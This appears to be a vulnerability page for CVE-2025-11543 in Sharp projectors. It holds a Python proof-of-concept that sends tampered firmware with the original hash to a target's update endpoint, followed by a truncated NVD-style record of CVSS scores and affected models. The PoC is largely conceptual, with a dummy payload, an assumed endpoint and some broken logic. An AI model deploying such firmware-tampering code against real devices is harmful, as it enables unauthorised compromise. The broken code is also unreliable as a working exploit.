CVE-2025-11543

# CVE-2025-11543 PoC - Firmware Integrity Bypass # This PoC demonstrates the concept of exploiting improper integrity check validation # For authorized security research only import hashlib import struct import requests def create_malicious_firmware(): """ Create a modified firmware with tampered integrity check value """ # Original firmware structure header = b'SHARP_FW_V1' original_data = b'\x00' * 1024 # Placeholder for original firmware # Calculate hash of original data original_hash = hashlib.sha256(original_data).hexdigest() # Malicious payload to inject malicious_payload = b'MALICIOUS_FIRMWARE_PAYLOAD_' + b'\x90' * 1000 # Tampered firmware - inject malicious code but keep original hash # This exploits the improper validation where hash check is insufficient tampered_data = malicious_payload # Create firmware package with manipulated integrity value firmware_package = { 'header': header, 'version': 1.0, 'integrity_check': original_hash, # Use original hash to bypass validation 'payload': tampered_data } return firmware_package def exploit_via_network(target_ip, firmware_package): """ Send malicious firmware to vulnerable Sharp projector """ # Firmware update endpoint (example) update_url = f"http://{target_ip}:8080/firmware/update" # Prepare malicious firmware package malicious_fw = create_malicious_firmware() # Send firmware update request without authentication try: response = requests.post(update_url, json=malicious_fw, timeout=30) if response.status_code == 200: print("[+] Malicious firmware uploaded successfully") print("[+] Device may now be compromised") return True except Exception as e: print(f"[-] Upload failed: {e}") return False if __name__ == "__main__": # Target configuration target = "192.168.1.100" # Replace with actual target IP # Create and deploy malicious firmware fw = create_malicious_firmware() exploit_via_network(target, fw)

{"cve": {"id": "CVE-2025-11543", "sourceIdentifier": "[email protected]", "published": "2025-12-22T05:16:18.777", "lastModified": "2026-01-15T20:27:50.507", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Improper Validation of Integrity Check Value vulnerability in Sharp Display Solutions projectors allows a attacker may create and run unauthorized firmware."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.5, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-354"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sharp:np-p502h_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA69E996-0284-4FEE-B15F-E5257A262794"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sharp:np-p502h:-:*:*:*:*:*:*:*", "matchCriteriaId": "24783AAF-8F17-4247-88DD-B7BEE1C2DDAF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sharp:np-p502w_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "EECEFD65-FFAD-4326-A712-DAB7B9B7756E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sharp:np-p502w:-:*:*:*:*:*:*:*", "matchCriteriaId": "E290E2BC-5FD0-43B2-BD46-F0597713AF45"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sharp:np-p452h_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "FEBFCC3E-DEEB-4D5E-BD7B-E2F0F106AD14"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sharp:np-p452h:-:*:*:*:*:*:*:*", "matchCriteriaId": "20D079AC-E0F6-42D2-A19E-FE7804F28EDB"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sharp:np-p452w_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "E14B431A-0AA4-4434-8EB7-5E57995C1674"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sharp:np-p452w:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCEAAE7D-950E-4E54-8BED-9AA0607E8223"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sharp:np-p502hg_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "539A3D60-4FAF-409D-92EB-19E81FC899FC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sharp:np-p502hg:-:*:*:*:*:*:*:*", "matchCriteriaId": "DBE760E8-7D8D-41AC-8B02-5586A9C1810C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sharp:np-p502wg_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8810AC6-5B69-45DF- ... (truncated)